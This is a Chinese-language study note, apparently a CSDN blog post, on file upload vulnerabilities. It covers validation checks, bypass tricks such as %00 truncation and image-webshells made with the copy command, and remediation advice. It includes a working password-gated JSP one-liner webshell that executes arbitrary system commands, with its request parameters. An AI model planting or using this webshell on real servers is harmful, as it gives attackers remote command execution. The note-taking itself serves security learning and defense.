文件上传漏洞

验证/绕过

利用思路

文件上传利用条件

1.能上传

2.能解析

3.知道上传的路径且可以访问

文件上传常见验证:

后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME信息
文件头:内容头信息

%00只能在php5.3以下才会生效

图片马🐎

使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
/a 表示一个 ASCII 文本文件
/b 表示一个二进位文件

复制代码
copy 1.jpg/b + 2.txt/a 3.jpg

尽量使用copy进行制作,手动修改可能破坏图片

二次渲染

【文件上传绕过】--二次渲染-CSDN博客

一句话jsp恶意代码

复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

参数:pwd=023&i=id(ls或者其他也可)

上传参数名解析:明确哪些东西能修改

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法

数据溢出-防匹配(xxx...)

符号变异-防匹配(' '' ;)

数据截断-防匹配(%00 ; 换行)

重复匹配-防匹配(参数多次)

文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数

自定义函数过滤:function check_file(){}

waf防护产品:宝塔,云顿,安全公司产品等

相关推荐
编程牛马姐2 小时前
独立站SEO流量增长:提高Google排名的优化方法
前端·javascript·网络
2401_873479403 小时前
如何从零搭建私有化IP查询平台?数据采集、清洗、建库到API发布全流程
服务器·网络·tcp/ip
FS_Marking5 小时前
CWDM vs DWDM:区别是什么?
网络
Vis-Lin5 小时前
BLE 协议栈:ATT 协议详解
网络·物联网·网络协议·iot·ble
lcxc5 小时前
Mac M4超流畅运行Win版同花顺教程
网络
bluechips·zhao5 小时前
帝国CMS 8.0 安全审计分析——代码审计
安全·网络安全·代码审计
whuhewei5 小时前
为什么客户端不存在跨域问题
前端·安全
W.A委员会6 小时前
常见网络攻击
网络·http·网络安全
zmj3203246 小时前
CAN数据帧详解
网络·can·canfd·数据帧
Flittly6 小时前
【SpringSecurity新手村系列】(4)验证码功能实现
java·spring boot·安全·spring